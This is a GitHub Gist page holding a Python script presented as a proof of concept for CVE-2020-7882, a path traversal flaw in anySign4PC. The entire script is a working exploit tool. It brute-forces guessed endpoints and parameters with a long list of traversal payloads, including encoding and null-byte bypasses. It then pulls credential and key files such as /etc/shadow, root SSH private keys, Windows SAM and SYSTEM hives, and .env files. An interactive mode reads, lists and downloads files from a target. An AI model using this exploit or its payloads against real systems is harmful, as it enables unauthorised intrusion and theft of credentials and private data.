Last active
July 30, 2026 09:53
-
-
Save HORKimhab/fffe2f258246452b454df11cc2420f26 to your computer and use it in GitHub Desktop.
CVE-2020-7882.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import os | |
| import sys | |
| import argparse | |
| import time | |
| import json | |
| from urllib.parse import urljoin, urlparse | |
| from concurrent.futures import ThreadPoolExecutor, as_completed | |
| import threading | |
| """ | |
| Proof of Concept for CVE-2020-7882 - anySign4PC Path Traversal | |
| Vulnerability: getPFXFolderList function parameter allows directory traversal ('../../../') | |
| Affected versions: anySign4PC 1.1.1.0, 1.1.2.6, 1.1.2.7 | |
| Fixed version: 1.1.4.0 | |
| CVSS Score: 7.5 (High) / 9.1 (Critical depending on source) | |
| References: | |
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7882 | |
| - https://www.boho.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=36344 | |
| Enhanced version with multiple payloads and scanning capabilities | |
| """ | |
| class Colors: | |
| """ANSI color codes for output formatting""" | |
| RED = '\033[91m' | |
| GREEN = '\033[92m' | |
| YELLOW = '\033[93m' | |
| BLUE = '\033[94m' | |
| PURPLE = '\033[95m' | |
| CYAN = '\033[96m' | |
| WHITE = '\033[97m' | |
| BOLD = '\033[1m' | |
| END = '\033[0m' | |
| class CVE_2020_7882_Exploit: | |
| def __init__(self, target_url, verbose=False, timeout=10, threads=5): | |
| """ | |
| Initialize the exploit with the target base URL. | |
| """ | |
| self.target_url = target_url.rstrip('/') | |
| self.verbose = verbose | |
| self.timeout = timeout | |
| self.threads = threads | |
| self.session = requests.Session() | |
| self.session.headers.update({ | |
| 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' | |
| }) | |
| # Different vulnerable endpoints based on implementations | |
| self.vuln_endpoints = [ | |
| "/getPFXFolderList", | |
| "/getPFXFolderList.do", | |
| "/getPFXFolderList.jsp", | |
| "/cert/getPFXFolderList", | |
| "/api/getPFXFolderList", | |
| "/v1/getPFXFolderList", | |
| "/certlist", | |
| "/getCertList", | |
| "/getCertList.do" | |
| ] | |
| # Common parameter names that might be vulnerable | |
| self.vuln_params = [ | |
| 'path', | |
| 'folder', | |
| 'dir', | |
| 'certPath', | |
| 'certpath', | |
| 'directory', | |
| 'filePath', | |
| 'filepath', | |
| 'location', | |
| 'target' | |
| ] | |
| # Common payloads for traversal | |
| self.traversal_payloads = [ | |
| # Basic traversal | |
| "../../../../../../../../etc/passwd", | |
| "../../../../../../../../etc/shadow", | |
| "../../../../../../../../windows/win.ini", | |
| "../../../../../../../../boot.ini", | |
| "../../../../../../../../proc/self/environ", | |
| "../../../../../../../../etc/hosts", | |
| "../../../../../../../../var/log/apache2/access.log", | |
| "../../../../../../../../var/log/nginx/access.log", | |
| # Double encoding | |
| "..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd", | |
| "..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini", | |
| # Unicode encoding | |
| "..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd", | |
| "..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9cwindows/win.ini", | |
| # URL encoded | |
| "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd", | |
| "%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini", | |
| # Mixed slashes | |
| "....//....//....//....//....//etc/passwd", | |
| "..\\..\\..\\..\\..\\..\\windows/win.ini", | |
| # Null byte injection (older systems) | |
| "../../../../../../etc/passwd%00.jpg", | |
| "../../../../../../windows/win.ini%00.html", | |
| # Absolute path bypass attempts | |
| "C:\\windows\\win.ini", | |
| "/etc/passwd", | |
| "file:///etc/passwd", | |
| # Path with trailing slashes | |
| "../../../../../../etc/passwd/", | |
| "../../../../../../windows/win.ini/", | |
| # Path with dots | |
| "../../../../../../etc/passwd.", | |
| "../../../../../../windows/win.ini.", | |
| # Path with spaces | |
| "../../../../../../etc/passwd%20", | |
| "../../../../../../windows/win.ini%20", | |
| # Path with additional traversal | |
| "../../../../../../etc/passwd../", | |
| "../../../../../../windows/win.ini../", | |
| # Case variations for Windows | |
| "../../../../../../Windows/win.ini", | |
| "../../../../../../WINDOWS/win.ini", | |
| "../../../../../../WINDOWS/WIN.INI", | |
| # Alternate Windows files | |
| "../../../../../../Windows/System32/drivers/etc/hosts", | |
| "../../../../../../Windows/System32/config/SAM", | |
| "../../../../../../Windows/System32/config/SYSTEM", | |
| # Linux sensitive files | |
| "../../../../../../root/.bash_history", | |
| "../../../../../../root/.ssh/id_rsa", | |
| "../../../../../../home/user/.ssh/id_rsa", | |
| "../../../../../../etc/issue", | |
| "../../../../../../etc/motd", | |
| "../../../../../../var/log/syslog", | |
| "../../../../../../var/log/auth.log" | |
| ] | |
| # Common sensitive files to check | |
| self.sensitive_files = { | |
| "windows": [ | |
| "windows/win.ini", | |
| "Windows/System32/drivers/etc/hosts", | |
| "Windows/System32/config/SAM", | |
| "Windows/System32/config/SYSTEM", | |
| "Windows/System32/config/software", | |
| "Windows/System32/config/default", | |
| "Windows/System32/config/SECURITY", | |
| "Windows/System32/drivers/etc/networks", | |
| "Windows/System32/drivers/etc/services", | |
| "Windows/System32/drivers/etc/protocols", | |
| "Windows/System32/drivers/etc/lmhosts.sam", | |
| "Windows/debug/NetSetup.log", | |
| "Windows/Panther/Unattend.xml", | |
| "Windows/System32/Sysprep/Sysprep.xml", | |
| "Windows/System32/Sysprep/Sysprep.inf", | |
| "Windows/System32/Sysprep/Sysprep.sys" | |
| ], | |
| "linux": [ | |
| "etc/passwd", | |
| "etc/shadow", | |
| "etc/hosts", | |
| "etc/hostname", | |
| "etc/issue", | |
| "etc/motd", | |
| "etc/fstab", | |
| "etc/group", | |
| "etc/sudoers", | |
| "etc/crontab", | |
| "etc/host.conf", | |
| "etc/resolv.conf", | |
| "etc/network/interfaces", | |
| "etc/ssh/sshd_config", | |
| "etc/ssh/ssh_config", | |
| "var/log/syslog", | |
| "var/log/auth.log", | |
| "var/log/apache2/access.log", | |
| "var/log/apache2/error.log", | |
| "var/log/nginx/access.log", | |
| "var/log/nginx/error.log", | |
| "home/user/.bashrc", | |
| "home/user/.bash_history", | |
| "home/user/.ssh/authorized_keys", | |
| "home/user/.ssh/id_rsa", | |
| "root/.bash_history", | |
| "root/.ssh/authorized_keys", | |
| "root/.ssh/id_rsa", | |
| "proc/self/environ", | |
| "proc/self/cmdline", | |
| "proc/self/status" | |
| ], | |
| "generic": [ | |
| "web.config", | |
| "app.config", | |
| "web.xml", | |
| "application.properties", | |
| "application.yml", | |
| "application.yaml", | |
| "config.json", | |
| "config.xml", | |
| "settings.json", | |
| "settings.xml", | |
| "database.ini", | |
| "db.ini", | |
| ".env", | |
| ".htaccess", | |
| ".htpasswd", | |
| "robots.txt", | |
| "sitemap.xml", | |
| "composer.json", | |
| "composer.lock", | |
| "package.json", | |
| "package-lock.json", | |
| "pom.xml", | |
| "build.gradle", | |
| "Gemfile", | |
| "Gemfile.lock", | |
| "requirements.txt", | |
| "Pipfile", | |
| "Pipfile.lock" | |
| ] | |
| } | |
| def print_status(self, message, status="INFO"): | |
| """Print colored status messages""" | |
| if status == "INFO": | |
| print(f"{Colors.BLUE}[*]{Colors.END} {message}") | |
| elif status == "SUCCESS": | |
| print(f"{Colors.GREEN}[+]{Colors.END} {message}") | |
| elif status == "ERROR": | |
| print(f"{Colors.RED}[-]{Colors.END} {message}") | |
| elif status == "WARNING": | |
| print(f"{Colors.YELLOW}[!]{Colors.END} {message}") | |
| elif status == "DEBUG" and self.verbose: | |
| print(f"{Colors.PURPLE}[D]{Colors.END} {message}") | |
| def test_endpoint(self, endpoint, param_name, payload): | |
| """ | |
| Test a specific endpoint with a parameter and payload | |
| """ | |
| full_url = urljoin(self.target_url, endpoint) | |
| params = {param_name: payload} | |
| try: | |
| response = self.session.get(full_url, params=params, timeout=self.timeout, verify=False) | |
| # Check for successful traversal indicators | |
| if response.status_code == 200 and len(response.text) > 100: | |
| # Check for sensitive content patterns | |
| sensitive_patterns = [ | |
| "root:x:0:0", | |
| "Administrator:", | |
| "password", | |
| "secret", | |
| "private key", | |
| "BEGIN RSA PRIVATE KEY", | |
| "for 32-bit", | |
| "Windows Registry", | |
| "drivers/etc", | |
| "system32" | |
| ] | |
| for pattern in sensitive_patterns: | |
| if pattern.lower() in response.text.lower(): | |
| return True, response.text, full_url, param_name, payload | |
| return False, None, full_url, param_name, payload | |
| except Exception as e: | |
| if self.verbose: | |
| self.print_status(f"Error testing {full_url}: {str(e)}", "DEBUG") | |
| return False, None, full_url, param_name, payload | |
| def scan_vulnerable_endpoints(self): | |
| """ | |
| Scan for vulnerable endpoints and parameters | |
| """ | |
| self.print_status("Starting vulnerability scan...", "INFO") | |
| self.print_status(f"Testing {len(self.vuln_endpoints)} endpoints with {len(self.vuln_params)} parameters", "INFO") | |
| vulnerabilities = [] | |
| total_tests = len(self.vuln_endpoints) * len(self.vuln_params) * len(self.traversal_payloads[:5]) # Test first 5 payloads for scanning | |
| if self.verbose: | |
| self.print_status(f"Total tests to perform: {total_tests}", "DEBUG") | |
| # Test with threading | |
| with ThreadPoolExecutor(max_workers=self.threads) as executor: | |
| futures = [] | |
| # Use first 5 payloads for initial scan | |
| scan_payloads = self.traversal_payloads[:5] | |
| for endpoint in self.vuln_endpoints: | |
| for param in self.vuln_params: | |
| for payload in scan_payloads: | |
| future = executor.submit(self.test_endpoint, endpoint, param, payload) | |
| futures.append((future, endpoint, param, payload)) | |
| # Process results | |
| for future, endpoint, param, payload in futures: | |
| try: | |
| is_vulnerable, content, full_url, used_param, used_payload = future.result(timeout=self.timeout+5) | |
| if is_vulnerable: | |
| self.print_status(f"Found vulnerability at {endpoint} with param '{param}' using payload: {payload}", "SUCCESS") | |
| vulnerabilities.append({ | |
| 'endpoint': endpoint, | |
| 'param': used_param, | |
| 'payload': used_payload, | |
| 'url': full_url, | |
| 'content_preview': content[:500] if content else "" | |
| }) | |
| # If we found a working payload, try more payloads with this endpoint | |
| self.print_status(f"Testing additional payloads on {endpoint}", "INFO") | |
| additional_payloads = self.traversal_payloads[5:20] # Test next 15 payloads | |
| for extra_payload in additional_payloads: | |
| test_result = self.test_endpoint(endpoint, used_param, extra_payload) | |
| if test_result[0]: | |
| vulnerabilities.append({ | |
| 'endpoint': endpoint, | |
| 'param': used_param, | |
| 'payload': extra_payload, | |
| 'url': full_url, | |
| 'content_preview': test_result[1][:500] if test_result[1] else "" | |
| }) | |
| self.print_status(f"Additional working payload: {extra_payload}", "SUCCESS") | |
| except Exception as e: | |
| if self.verbose: | |
| self.print_status(f"Thread error: {str(e)}", "DEBUG") | |
| return vulnerabilities | |
| def exploit_file(self, endpoint, param, payload): | |
| """ | |
| Exploit a specific file using known vulnerable endpoint and parameter | |
| """ | |
| full_url = urljoin(self.target_url, endpoint) | |
| params = {param: payload} | |
| try: | |
| response = self.session.get(full_url, params=params, timeout=self.timeout, verify=False) | |
| if response.status_code == 200 and len(response.text) > 0: | |
| return True, response.text, full_url | |
| else: | |
| return False, None, full_url | |
| except Exception as e: | |
| if self.verbose: | |
| self.print_status(f"Exploit error: {str(e)}", "DEBUG") | |
| return False, None, full_url | |
| def scan_sensitive_files(self, endpoint, param): | |
| """ | |
| Scan for sensitive files using a known vulnerable endpoint | |
| """ | |
| self.print_status(f"Scanning sensitive files using {endpoint} with parameter {param}", "INFO") | |
| found_files = [] | |
| # Test files for each OS | |
| for os_type, files in self.sensitive_files.items(): | |
| self.print_status(f"Checking {os_type} sensitive files...", "INFO") | |
| for file_path in files: | |
| # Build traversal payload | |
| depth = 6 # Default depth for traversal | |
| payload = "/".join([".."] * depth) + "/" + file_path | |
| # Try different depths | |
| for d in range(4, 8): | |
| payload = "/".join([".."] * d) + "/" + file_path | |
| success, content, url = self.exploit_file(endpoint, param, payload) | |
| if success and content and len(content) > 100: | |
| self.print_status(f"Found sensitive file: {file_path} (depth: {d})", "SUCCESS") | |
| found_files.append({ | |
| 'path': file_path, | |
| 'os_type': os_type, | |
| 'payload': payload, | |
| 'content_preview': content[:500], | |
| 'content': content, | |
| 'url': url, | |
| 'length': len(content) | |
| }) | |
| break # Found it, no need to try more depths | |
| return found_files | |
| def auto_scan(self): | |
| """ | |
| Perform automatic scanning and exploitation | |
| """ | |
| self.print_status("="*60, "INFO") | |
| self.print_status("CVE-2020-7882 Automated Scanner", "BOLD") | |
| self.print_status("="*60, "INFO") | |
| # Step 1: Find vulnerable endpoint and parameter | |
| vulnerabilities = self.scan_vulnerable_endpoints() | |
| if not vulnerabilities: | |
| self.print_status("No vulnerabilities found during initial scan.", "ERROR") | |
| self.print_status("Try adjusting target URL or using manual mode.", "WARNING") | |
| return [] | |
| # Step 2: Use first found vulnerability to scan for sensitive files | |
| vuln = vulnerabilities[0] | |
| self.print_status(f"Using vulnerability: {vuln['endpoint']} with param: {vuln['param']}", "SUCCESS") | |
| found_files = self.scan_sensitive_files(vuln['endpoint'], vuln['param']) | |
| # Step 3: Create report | |
| report = { | |
| 'target': self.target_url, | |
| 'vulnerabilities': vulnerabilities, | |
| 'sensitive_files_found': found_files, | |
| 'timestamp': time.time() | |
| } | |
| return report | |
| def generate_report(self, report_data, output_file=None): | |
| """ | |
| Generate a report of findings | |
| """ | |
| if output_file: | |
| if output_file.endswith('.json'): | |
| with open(output_file, 'w') as f: | |
| json.dump(report_data, f, indent=2) | |
| self.print_status(f"Report saved to {output_file}", "SUCCESS") | |
| else: | |
| # Text report | |
| with open(output_file, 'w') as f: | |
| f.write("="*80 + "\n") | |
| f.write("CVE-2020-7882 Vulnerability Report\n") | |
| f.write("="*80 + "\n\n") | |
| f.write(f"Target: {report_data['target']}\n") | |
| f.write(f"Timestamp: {time.ctime(report_data['timestamp'])}\n\n") | |
| f.write("Vulnerabilities Found:\n") | |
| f.write("-"*40 + "\n") | |
| for i, vuln in enumerate(report_data['vulnerabilities'], 1): | |
| f.write(f"{i}. Endpoint: {vuln['endpoint']}\n") | |
| f.write(f" Parameter: {vuln['param']}\n") | |
| f.write(f" Payload: {vuln['payload']}\n") | |
| f.write(f" URL: {vuln['url']}\n") | |
| f.write(f" Content Preview: {vuln['content_preview'][:200]}...\n\n") | |
| if report_data['sensitive_files_found']: | |
| f.write("Sensitive Files Found:\n") | |
| f.write("-"*40 + "\n") | |
| for i, file_data in enumerate(report_data['sensitive_files_found'], 1): | |
| f.write(f"{i}. Path: {file_data['path']}\n") | |
| f.write(f" OS Type: {file_data['os_type']}\n") | |
| f.write(f" Size: {file_data['length']} bytes\n") | |
| f.write(f" Payload: {file_data['payload']}\n") | |
| f.write(f" Content Preview: {file_data['content_preview'][:200]}...\n\n") | |
| else: | |
| f.write("No sensitive files found.\n") | |
| self.print_status(f"Report saved to {output_file}", "SUCCESS") | |
| else: | |
| # Print to console | |
| self.print_report_console(report_data) | |
| def print_report_console(self, report_data): | |
| """ | |
| Print report to console | |
| """ | |
| print("\n" + "="*80) | |
| print(f"{Colors.BOLD}CVE-2020-7882 Vulnerability Report{Colors.END}") | |
| print("="*80) | |
| print(f"Target: {report_data['target']}") | |
| print(f"Timestamp: {time.ctime(report_data['timestamp'])}") | |
| print("\n") | |
| # Vulnerabilities | |
| print(f"{Colors.BOLD}Vulnerabilities Found:{Colors.END}") | |
| print("-"*40) | |
| for i, vuln in enumerate(report_data['vulnerabilities'], 1): | |
| print(f"{i}. Endpoint: {Colors.YELLOW}{vuln['endpoint']}{Colors.END}") | |
| print(f" Parameter: {Colors.CYAN}{vuln['param']}{Colors.END}") | |
| print(f" Payload: {Colors.GREEN}{vuln['payload']}{Colors.END}") | |
| print(f" URL: {Colors.BLUE}{vuln['url']}{Colors.END}") | |
| print(f" Content Preview: {vuln['content_preview'][:200]}...") | |
| print() | |
| # Sensitive files | |
| if report_data['sensitive_files_found']: | |
| print(f"{Colors.BOLD}Sensitive Files Found:{Colors.END}") | |
| print("-"*40) | |
| for i, file_data in enumerate(report_data['sensitive_files_found'], 1): | |
| print(f"{i}. Path: {Colors.RED}{file_data['path']}{Colors.END}") | |
| print(f" OS Type: {Colors.PURPLE}{file_data['os_type']}{Colors.END}") | |
| print(f" Size: {file_data['length']} bytes") | |
| print(f" Payload: {Colors.GREEN}{file_data['payload']}{Colors.END}") | |
| print(f" Content Preview: {file_data['content_preview'][:200]}...") | |
| print() | |
| else: | |
| print(f"{Colors.YELLOW}No sensitive files found.{Colors.END}") | |
| def interactive_exploit(self): | |
| """ | |
| Interactive mode for manual exploitation | |
| """ | |
| self.print_status("Starting interactive exploit mode", "INFO") | |
| # First, let's try to find a working endpoint and parameter | |
| self.print_status("Attempting to find vulnerable endpoint...", "INFO") | |
| vulnerabilities = self.scan_vulnerable_endpoints() | |
| if vulnerabilities: | |
| vuln = vulnerabilities[0] | |
| self.print_status(f"Found vulnerability at {vuln['endpoint']} with param '{vuln['param']}'", "SUCCESS") | |
| endpoint = vuln['endpoint'] | |
| param = vuln['param'] | |
| else: | |
| self.print_status("No vulnerabilities found automatically. Please enter manually.", "WARNING") | |
| # Let user specify endpoint and parameter | |
| print("\nAvailable endpoints:", ", ".join(self.vuln_endpoints)) | |
| endpoint = input("Enter endpoint (e.g., /getPFXFolderList): ").strip() | |
| if not endpoint.startswith('/'): | |
| endpoint = '/' + endpoint | |
| print("\nAvailable parameters:", ", ".join(self.vuln_params)) | |
| param = input("Enter parameter name (e.g., path): ").strip() | |
| while True: | |
| print("\n" + "="*50) | |
| print("Interactive Exploit Menu") | |
| print("="*50) | |
| print(f"Current endpoint: {endpoint}") | |
| print(f"Current parameter: {param}") | |
| print("\nOptions:") | |
| print("1. Read a file") | |
| print("2. List directory contents") | |
| print("3. Change endpoint/parameter") | |
| print("4. Show common payloads") | |
| print("5. Scan for sensitive files") | |
| print("6. Download file content") | |
| print("7. Exit") | |
| choice = input("\nSelect option (1-7): ").strip() | |
| if choice == '1': | |
| file_path = input("Enter file path to read (e.g., ../../../../etc/passwd): ").strip() | |
| if file_path: | |
| success, content, url = self.exploit_file(endpoint, param, file_path) | |
| if success: | |
| self.print_status(f"File read successfully!", "SUCCESS") | |
| print("\n" + "="*50) | |
| print("FILE CONTENT:") | |
| print("="*50) | |
| print(content) | |
| print("="*50) | |
| else: | |
| self.print_status("Failed to read file.", "ERROR") | |
| elif choice == '2': | |
| dir_path = input("Enter directory path (e.g., ../../../../etc/): ").strip() | |
| if dir_path: | |
| # Try to list directory with a common listing payload | |
| listing_payloads = [ | |
| dir_path, | |
| dir_path + "*", | |
| dir_path + "?", | |
| dir_path + ".." | |
| ] | |
| found_listing = False | |
| for payload in listing_payloads: | |
| success, content, url = self.exploit_file(endpoint, param, payload) | |
| if success and content and len(content) > 50: | |
| print("\n" + "="*50) | |
| print("DIRECTORY LISTING:") | |
| print("="*50) | |
| print(content) | |
| print("="*50) | |
| found_listing = True | |
| break | |
| if not found_listing: | |
| self.print_status("Could not get directory listing.", "ERROR") | |
| elif choice == '3': | |
| print("\nAvailable endpoints:", ", ".join(self.vuln_endpoints)) | |
| endpoint = input("Enter new endpoint: ").strip() | |
| if not endpoint.startswith('/'): | |
| endpoint = '/' + endpoint | |
| print("\nAvailable parameters:", ", ".join(self.vuln_params)) | |
| param = input("Enter new parameter: ").strip() | |
| self.print_status(f"Updated to endpoint: {endpoint}, param: {param}", "INFO") | |
| elif choice == '4': | |
| print("\n" + "="*50) | |
| print("COMMON PAYLOADS:") | |
| print("="*50) | |
| for i, payload in enumerate(self.traversal_payloads[:20], 1): | |
| print(f"{i}. {payload}") | |
| print("\n... and many more variations in the payload list") | |
| elif choice == '5': | |
| found_files = self.scan_sensitive_files(endpoint, param) | |
| if found_files: | |
| self.print_status(f"Found {len(found_files)} sensitive files", "SUCCESS") | |
| for file_data in found_files: | |
| print(f"\nFile: {file_data['path']}") | |
| print(f"Payload: {file_data['payload']}") | |
| print(f"Size: {file_data['length']} bytes") | |
| print(f"Content preview: {file_data['content_preview'][:200]}...") | |
| else: | |
| self.print_status("No sensitive files found", "WARNING") | |
| elif choice == '6': | |
| file_path = input("Enter file path to download: ").strip() | |
| if file_path: | |
| success, content, url = self.exploit_file(endpoint, param, file_path) | |
| if success: | |
| filename = input("Enter output filename (or press Enter for default): ").strip() | |
| if not filename: | |
| filename = os.path.basename(file_path) or "downloaded_file" | |
| try: | |
| with open(filename, 'wb') as f: | |
| f.write(content.encode('utf-8')) | |
| self.print_status(f"File downloaded to {filename}", "SUCCESS") | |
| except Exception as e: | |
| self.print_status(f"Error saving file: {str(e)}", "ERROR") | |
| else: | |
| self.print_status("Failed to download file.", "ERROR") | |
| elif choice == '7': | |
| self.print_status("Exiting interactive mode...", "INFO") | |
| break | |
| else: | |
| self.print_status("Invalid option. Please try again.", "ERROR") | |
| def main(): | |
| parser = argparse.ArgumentParser(description='CVE-2020-7882 PoC Exploit - anySign4PC Path Traversal') | |
| parser.add_argument('target', help='Target URL (e.g., http://192.168.1.100:8080)') | |
| parser.add_argument('--scan', action='store_true', help='Perform automated vulnerability scan') | |
| parser.add_argument('--interactive', action='store_true', help='Start interactive exploit mode') | |
| parser.add_argument('--read', help='Read a file using traversal (e.g., ../../../../etc/passwd)') | |
| parser.add_argument('--delete', help='Delete a file using traversal') | |
| parser.add_argument('--list', help='List directory contents using traversal') | |
| parser.add_argument('--endpoint', help='Specific endpoint to use (default: auto-detect)') | |
| parser.add_argument('--param', help='Specific parameter to use (default: auto-detect)') | |
| parser.add_argument('--verbose', action='store_true', help='Enable verbose output') | |
| parser.add_argument('--output', help='Save report to file') | |
| parser.add_argument('--threads', type=int, default=5, help='Number of threads for scanning (default: 5)') | |
| parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)') | |
| args = parser.parse_args() | |
| # Disable SSL warnings | |
| requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) | |
| # Initialize exploit | |
| exploit = CVE_2020_7882_Exploit( | |
| target_url=args.target, | |
| verbose=args.verbose, | |
| timeout=args.timeout, | |
| threads=args.threads | |
| ) | |
| # Check for operation mode | |
| if args.scan: | |
| # Automated scan mode | |
| report = exploit.auto_scan() | |
| if report: | |
| exploit.generate_report(report, args.output) | |
| else: | |
| exploit.print_status("Scan completed. No vulnerabilities found.", "ERROR") | |
| elif args.interactive: | |
| # Interactive mode | |
| exploit.interactive_exploit() | |
| elif args.read: | |
| # Single file read | |
| if args.endpoint and args.param: | |
| success, content, url = exploit.exploit_file(args.endpoint, args.param, args.read) | |
| if success: | |
| exploit.print_status("File read successfully!", "SUCCESS") | |
| print("\n" + "="*50) | |
| print("FILE CONTENT:") | |
| print("="*50) | |
| print(content) | |
| print("="*50) | |
| else: | |
| exploit.print_status("Failed to read file.", "ERROR") | |
| else: | |
| # Auto-detect endpoint | |
| vulnerabilities = exploit.scan_vulnerable_endpoints() | |
| if vulnerabilities: | |
| vuln = vulnerabilities[0] | |
| success, content, url = exploit.exploit_file(vuln['endpoint'], vuln['param'], args.read) | |
| if success: | |
| exploit.print_status("File read successfully!", "SUCCESS") | |
| print("\n" + "="*50) | |
| print("FILE CONTENT:") | |
| print("="*50) | |
| print(content) | |
| print("="*50) | |
| else: | |
| exploit.print_status("Failed to read file.", "ERROR") | |
| else: | |
| exploit.print_status("No vulnerable endpoint found. Please specify --endpoint and --param.", "ERROR") | |
| elif args.list: | |
| # Directory listing | |
| if args.endpoint and args.param: | |
| success, content, url = exploit.exploit_file(args.endpoint, args.param, args.list) | |
| if success: | |
| exploit.print_status("Directory listing retrieved!", "SUCCESS") | |
| print("\n" + "="*50) | |
| print("DIRECTORY CONTENT:") | |
| print("="*50) | |
| print(content) | |
| print("="*50) | |
| else: | |
| exploit.print_status("Failed to get directory listing.", "ERROR") | |
| else: | |
| vulnerabilities = exploit.scan_vulnerable_endpoints() | |
| if vulnerabilities: | |
| vuln = vulnerabilities[0] | |
| success, content, url = exploit.exploit_file(vuln['endpoint'], vuln['param'], args.list) | |
| if success: | |
| exploit.print_status("Directory listing retrieved!", "SUCCESS") | |
| print("\n" + "="*50) | |
| print("DIRECTORY CONTENT:") | |
| print("="*50) | |
| print(content) | |
| print("="*50) | |
| else: | |
| exploit.print_status("Failed to get directory listing.", "ERROR") | |
| else: | |
| exploit.print_status("No vulnerable endpoint found. Please specify --endpoint and --param.", "ERROR") | |
| else: | |
| # Default: Show help | |
| exploit.print_status("CVE-2020-7882 PoC Exploit", "BOLD") | |
| exploit.print_status("Usage examples:", "INFO") | |
| print("\n1. Automated scan:") | |
| print(f" python {os.path.basename(__file__)} {args.target} --scan") | |
| print("\n2. Interactive mode:") | |
| print(f" python {os.path.basename(__file__)} {args.target} --interactive") | |
| print("\n3. Read a file:") | |
| print(f" python {os.path.basename(__file__)} {args.target} --read ../../../../etc/passwd") | |
| print("\n4. List directory:") | |
| print(f" python {os.path.basename(__file__)} {args.target} --list ../../../../etc/") | |
| print("\n5. With specific endpoint and parameter:") | |
| print(f" python {os.path.basename(__file__)} {args.target} --endpoint /getPFXFolderList --param path --read ../../../../windows/win.ini") | |
| print("\n6. Save report:") | |
| print(f" python {os.path.basename(__file__)} {args.target} --scan --output report.json") | |
| print("\nFor more options:") | |
| print(f" python {os.path.basename(__file__)} -h") | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment